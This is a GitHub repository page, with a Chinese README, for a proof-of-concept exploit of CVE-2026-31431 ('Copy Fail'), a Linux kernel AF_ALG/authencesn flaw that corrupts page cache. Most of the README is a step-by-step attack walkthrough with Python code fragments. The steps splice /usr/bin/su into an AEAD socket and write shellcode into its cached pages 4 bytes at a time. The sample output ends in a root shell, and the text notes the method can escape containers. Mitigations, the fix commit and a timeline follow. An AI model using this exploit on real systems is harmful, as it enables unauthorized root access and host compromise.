julichaan/CVE-2026-31431-python-copyfail-POC

GitHub: julichaan/CVE-2026-31431-python-copyfail-POC

针对 CVE-2026-31431 Linux 内核密码子系统逻辑漏洞的概念验证工具,通过破坏 setuid 二进制文件页缓存实现从无特权本地用户到 root 的确定性提权。

Stars: 0 | Forks: 0

# CVE-2026-31431: Copy Fail - Linux 内核权限提升 **Copy Fail** (CVE-2026-31431) 是 Linux 内核密码子系统中的一个严重逻辑漏洞,允许无特权用户将权限提升至 root。该漏洞影响 6.0.0 至 6.18.x 版本的 Linux 内核,波及所有主要发行版。 本仓库包含真实的漏洞利用程序,通过破坏 setuid 二进制文件的页缓存并以 root 权限执行任意代码来触发该漏洞。 ## 什么是 Copy Fail? Copy Fail 是一个**允许无特权用户将任意 4 字节数据块直接写入系统上任何可读文件的内核页缓存**的逻辑漏洞,包括 setuid 二进制文件。 主要特征: - **确定性**:无需竞态条件或时间窗口 - **可移植性**:相同的利用程序适用于所有存在漏洞的发行版 (Ubuntu, RHEL, Amazon Linux, SUSE) - **隐蔽性**:磁盘文件不会被修改;仅内存中的页缓存被破坏 - **容器化**:由于页缓存在宿主机之间共享,可突破容器边界 - **简单性**:仅需 Python 3.10+ 及标准库模块 ## 技术细节 ### 根本原因:原地 AEAD 操作 该漏洞源于 2017 年 `algif_aead.c` 中的一项优化(提交 72548b093ee3),该优化将 AEAD 操作从**非原地**改为**原地**: **修改前(安全的 - 2015):** ``` TX Scatterlist (input) ← TX buffer (user data from file) RX Scatterlist (output) ← RX buffer (user's output area) Separate scatterlists = page cache pages are read-only ``` **修改后(存在漏洞的 - 2017):** ``` Combined Scatterlist: [ RX buffer ] [ Page cache pages chained via sg_chain() ] ↑ ↑ req->src = src req->dst = dst (SAME scatterlist) Page cache pages are now in a WRITABLE scatterlist! ``` 合并后的 scatterlist 如下所示: ``` [AAD + Ciphertext from RX buffer] || [Tag from /usr/bin/su page cache] ↑ Boundary (authencesn writes PAST this point) ``` ### 触发机制:authencesn 算法的暂存写入 `authencesn` 算法是 IPsec 用于扩展序列号 (ESN) 的 AEAD 封装器。它执行 HMAC 计算,但需要重新排列 AAD(附加认证数据)中的字节。 在内核代码(`crypto/authenc.c`)中,解密期间: ``` scatterwalk_map_and_copy(tmp, dst, 0, 8, 0); // read AAD bytes 0-7 scatterwalk_map_and_copy(tmp, dst, 4, 4, 1); // temporary: overwrite dst[4..7] scatterwalk_map_and_copy(tmp+1, dst, assoclen+cryptlen, 4, 1); // ← KEY LINE // write 4 bytes at dst[assoclen+cryptlen] ``` **问题所在**:第三次写入发生在偏移量 `assoclen + cryptlen` 处。在存在漏洞的原地操作路径中: - **正常情况**:此偏移量位于用户的 RX 缓冲区内(无害) - **漏洞情况**:此偏移量**超出了用户的缓冲区,并落入了链式页缓存页面中**(危险) 内核将此位置视为“可消耗的暂存空间”,并在该处**永久地**写入数据。页缓存中该位置的原始字节将永久丢失。 ### 攻击链 ``` 1. Attacker opens AF_ALG socket → binds to authencesn(hmac(sha256),cbc(aes)) (No privileges needed; AF_ALG is available to unprivileged users by default) 2. Attacker opens target file: /usr/bin/su (setuid-root binary) 3. Attacker uses splice() to deliver /usr/bin/su's page cache pages into the AF_ALG socket as the "ciphertext" and "tag" 4. Attacker sends sendmsg() with AAD containing: - Bytes 0-3: padding - Bytes 4-7: seqno_lo = 4-byte value to write (controlled by attacker) - Bytes 8+: padding 5. Attacker calls recvmsg() which triggers the AEAD decrypt operation Inside authencesn's decrypt in kernel space: a) Kernel reads AAD bytes 0-7 b) Kernel writes seqno_hi at dst[4..7] (temporary, then restored) c) Kernel writes seqno_lo at dst[assoclen + cryptlen] ↓ THIS WRITE CROSSES FROM USER BUFFER INTO PAGE CACHE PAGES ↓ 4-byte write to /usr/bin/su's page cache occurs HERE d) Kernel computes HMAC (fails validation - ciphertext is fabricated) e) recvmsg() returns error BUT: The 4-byte write ALREADY PERSISTS in the page cache 6. Attacker repeats steps 2-5 for each 4-byte chunk of shellcode 7. Attacker executes /usr/bin/su - Kernel loads the binary from PAGE CACHE (which now contains shellcode) - Binary is setuid-root - Shellcode executes with UID=0 - Attacker has root access ``` ### 为什么能成功 | 方面 | 解释 | |--------|-------------| | **无崩溃** | 从内核角度来看操作正常完成 | | **确定性** | 无竞态条件;同步且可靠 | | **持久性** | 页缓存破坏甚至在 recvmsg() 错误后依然存在 | | **隐蔽性** | 磁盘文件未被修改;标准完整性检测工具无法察觉 | | **通用性** | 相同的代码适用于所有发行版;无需针对特定发行版的偏移量 | | **可移植性** | 适用于 x86-64 和 ARM64 架构 | ## 漏洞利用:逐步说明 ### 步骤 1:套接字设置 ``` sock = socket.socket(38, socket.SOCK_SEQPACKET, 0) # AF_ALG = 38 sock.bind(("aead", "authencesn(hmac(sha256),cbc(aes))")) req_sock = sock.accept()[0] # Request socket for AEAD operations ``` 创建绑定到 authencesn AEAD 模板的 AF_ALG 套接字。 ### 步骤 2:打开目标二进制文件 ``` target_fd = os.open("/usr/bin/su", os.O_RDONLY) ``` 打开将被破坏的 setuid 二进制文件。任何可读文件均可,但选择 setuid 二进制文件是为了实现权限提升。 ### 步骤 3:创建用于 Splice 的管道 ``` pipe_rd, pipe_wr = os.pipe() ``` 创建一个管道,作为 `splice()` 操作的中介。管道缓冲区将保存对页缓存页面的引用。 ### 步骤 4:将文件 Splice 到管道 ``` os.splice(target_fd, pipe_wr, cryptlen, offset_src=write_offset) ``` 使用 `splice()` 将 `cryptlen` 字节从 `/usr/bin/su` 起始于 `write_offset` 的数据传输到管道。 **为何重要**:`splice()` 在文件描述符之间传输数据**无需进行拷贝**。它传递的是**内核页缓存页面的直接引用**。这些页面会留在管道的内部缓冲区结构中。 ### 步骤 5:构造 AEAD 参数 ``` assoclen = 8 # AAD length: bytes 0-7 cryptlen = 32 # Ciphertext length (== HMAC-SHA256 output) authsize = 32 # Tag length write_offset = 0x2000 # Offset in /usr/bin/su to write to aad = b'\x00\x00\x00\x00' + write_data + b'\x00' * (assoclen - 8) ``` AAD(附加认证数据)包含: - 字节 0-3:填充数据 - **字节 4-7:要写入的 4 字节值** (seqno_lo) ← 由攻击者控制 - 其余:填充数据 authencesn 算法将在其暂存写入中使用此 AAD 的字节 4-7。 ### 步骤 6:发送 AAD ``` req_sock.sendmsg([aad], [], socket.MSG_MORE) ``` 将 AAD 发送到 AF_ALG 套接字。`MSG_MORE` 标志表示随后将发送密文/标签。 ### 步骤 7:将密文+标签 Splice 到套接字 ``` os.splice(pipe_rd, req_sock.fileno(), cryptlen) ``` 将页缓存页面从管道传输到 AF_ALG 套接字。现在内核的 scatterlist 包含: ``` Scatterlist chain: [ AAD (from RX buffer) ] || [ Ciphertext (from RX buffer) ] → [ Tag (page cache pages) ] ↑ Still references /usr/bin/su's pages ``` ### 步骤 8:通过 recvmsg() 触发漏洞 ``` try: req_sock.recv(1024) except OSError: pass # Expected to fail with invalid HMAC ``` 调用 `recvmsg()` 触发 AEAD 解密操作: 在内核空间的 authencesn 内部: 1. 内核读取 AAD 字节 0-7 2. 内核临时覆盖 AAD 字节 4-7 (seqno_hi) 3. **内核将 AAD 的字节 4-7 (seqno_lo) 写入 `dst[assoclen + cryptlen]`** - 此偏移量为:在 scatterlist 中 8 + 32 = 40 字节处 - RX 缓冲区总共只有约 48 字节 - **在第 40 字节处的写入越界进入了链式页缓存页面** 4. 内核从临时位置恢复 AAD 字节 4-7 5. 内核对重新排列的数据计算 HMAC → 失败(伪造的密文) 6. 内核返回错误 7. **但在偏移量 40 处的 4 字节写入已经发生并将持续存在** ### 步骤 9:对每个 Shellcode 块重复操作 ``` for i in range(0, len(shellcode), 4): chunk = shellcode[i:i+4] exploit_target_file("/usr/bin/su", base_offset + i, chunk) ``` 利用程序循环执行,将 shellcode 的 4 字节数据块写入 `/usr/bin/su` 页缓存中的连续偏移位置。 ### 步骤 10:执行被破坏的二进制文件 ``` os.execve("/usr/bin/su", ["/usr/bin/su"], os.environ) ``` 执行 `/usr/bin/su`: - 内核从**页缓存**加载二进制文件(带有 shellcode 的被破坏版本) - Shellcode 位于已知偏移量处 - 二进制文件的 setuid 位仍然存在 - Shellcode 以 **UID=0** 执行 - 生成 Root shell ## 运行漏洞利用程序 ### 前置条件 - **Linux 内核 6.0.0 - 6.18.x**(受漏洞影响的版本) - **Python 3.10+**(用于支持 `os.splice()`) - **AF_ALG 和 authencesn 模块**必须已加载: lsmod | grep -E 'af_alg|algif_aead|authencesn' - 系统的**本地用户访问权限** - **/usr/bin/su** 必须为 setuid 且可读 ### 执行 ``` python3 exploit.py ``` **在存在漏洞的系统上的预期输出:** ``` [*] CVE-2026-31431 (Copy Fail) Linux Kernel Privilege Escalation [*] Target: /usr/bin/su (setuid-root binary) [*] Kernel version: 6.12.0-1007-aws [+] Kernel 6.12.x is in vulnerable range (6.0 - 6.18) [+] Found /usr/bin/su (setuid-root binary) [+] Kernel vulnerability check: AF_ALG + splice + authencesn [*] Beginning page cache corruption... [*] Injecting 33 bytes of shellcode into /usr/bin/su [+] Wrote chunk 0 at offset 0x2000 [+] Wrote chunk 1 at offset 0x2004 ... [+] Shellcode injection successful! [*] Executing /usr/bin/su to trigger shellcode... # id uid=0(root) gid=1001(user) groups=1001(user) ``` ## 缓解措施 ### 立即处理(内核更新前) **禁用 AF_ALG AEAD 支持:** ``` sudo -i echo "install algif_aead /bin/false" > /etc/modprobe.d/disable-algif-aead.conf rmmod algif_aead 2>/dev/null exit ``` 这可以在保持其他 AF_ALG 功能完好的同时,阻止漏洞利用程序访问 AF_ALG 的 AEAD 接口。 **卸载存在漏洞的模块:** ``` sudo rmmod algif_aead sudo rmmod authencesn ``` **通过 seccomp 阻止创建 AF_ALG 套接字**(适用于容器化环境): ``` # 在容器安全策略中,拒绝 socket(38, SOCK_SEQPACKET) syscalls ``` ### 长期方案(内核更新) 更新至包含修复(提交 a664bf3d603d)的 **Linux 6.19+** 版本。 该修复将 `algif_aead.c` 恢复为**非原地** AEAD 操作: ``` // Before (vulnerable in-place): aead_request_set_crypt(&areq->cra_u.aead_req, rsgl_src, // RX SGL (input) rsgl_src, // RX SGL (output) - SAME used, ctx->iv); // After (fixed out-of-place): aead_request_set_crypt(&areq->cra_u.aead_req, tsgl_src, // TX SGL (input) rsgl_src, // RX SGL (output) - DIFFERENT used, ctx->iv); ``` 使用独立的源和目标 scatterlist 后: - 输入:TX scatterlist(可能包含来自 splice 的页缓存页面) - 输出:RX scatterlist(用户缓冲区) - 页缓存页面永远不会出现在可写入的目标中 - authencesn 的暂存写入将保留在用户缓冲区内(无害) ## 漏洞时间线 | 日期 | 事件 | |------|-------| | 2017-Q3 | 漏洞被引入 algif_aead.c(提交 72548b093ee3) | | 2026-03-23 | 报告给 Linux 内核安全团队 | | 2026-03-24 | 内核团队确认漏洞 | | 2026-03-25 | 提出补丁并进行审查 | | 2026-04-01 | 补丁合并至主线内核(提交 a664bf3d603d) | | 2026-04-22 | 分配 CVE-2026-31431 | | 2026-04-29 | 公开披露 | ## 受影响版本 | 系列 | 状态 | 详情 | |--------|--------|---------| | Linux 5.x | ✅ 安全 | 早于漏洞引入的版本 | | Linux 6.0 - 6.18 | ❌ **存在漏洞** | 所有次要版本均受影响 | | Linux 6.19+ | ✅ 安全 | 包含修复(提交 a664bf3d603d) | | Linux 7.0+ | ✅ 安全 | 修复合并后的版本 | ## 为什么此漏洞非常重要 1. **跨发行版**:相同的攻击适用于 Ubuntu, RHEL, Amazon Linux, SUSE 2. **无需特权**:本地无特权用户 -> root 3. **容器逃逸**:共享页缓存意味着可能发生 Pod 到宿主机的入侵 4. **Kubernetes 影响**:Kubernetes 集群中的节点逃逸向量 5. **逻辑漏洞**:不是差一错误或缓冲区溢出;纯粹的逻辑缺陷 6. **隐蔽性**:无系统崩溃,无日志,磁盘文件未被修改 7. **可靠性**:无需争夺时间窗口或竞态条件 ## 参考 - **Xint Research 披露**:https://xint.io/blog/copy-fail-linux-distributions - **内核修复提交**:https://github.com/torvalds/linux/commit/a664bf3d603dc3bdcf9ae47cc21e0daec706d7a5 - **引入漏洞的提交**:https://github.com/torvalds/linux/commit/72548b093ee3 - **CVE 详情**:CVE-2026-31431 - **研究团队**:Xint Code / Theori ## 免责声明 本漏洞利用程序仅用于**教育和授权安全测试目的**。未经授权访问计算机系统是违法行为。在测试漏洞前,请务必获取适当的授权。
标签:AEAD, algif_aead, Copy Fail, CVE-2026-31431, Exploit, Linux内核提权, Page Cache, Python, RHEL, setuid, Web报告查看器, 任意代码执行, 内存损坏, 内核漏洞, 容器逃逸, 密码学子系统, 数据展示, 无后门, 本地提权, 红队, 网络安全, 逻辑漏洞, 隐私保护, 页面缓存污染, 高危漏洞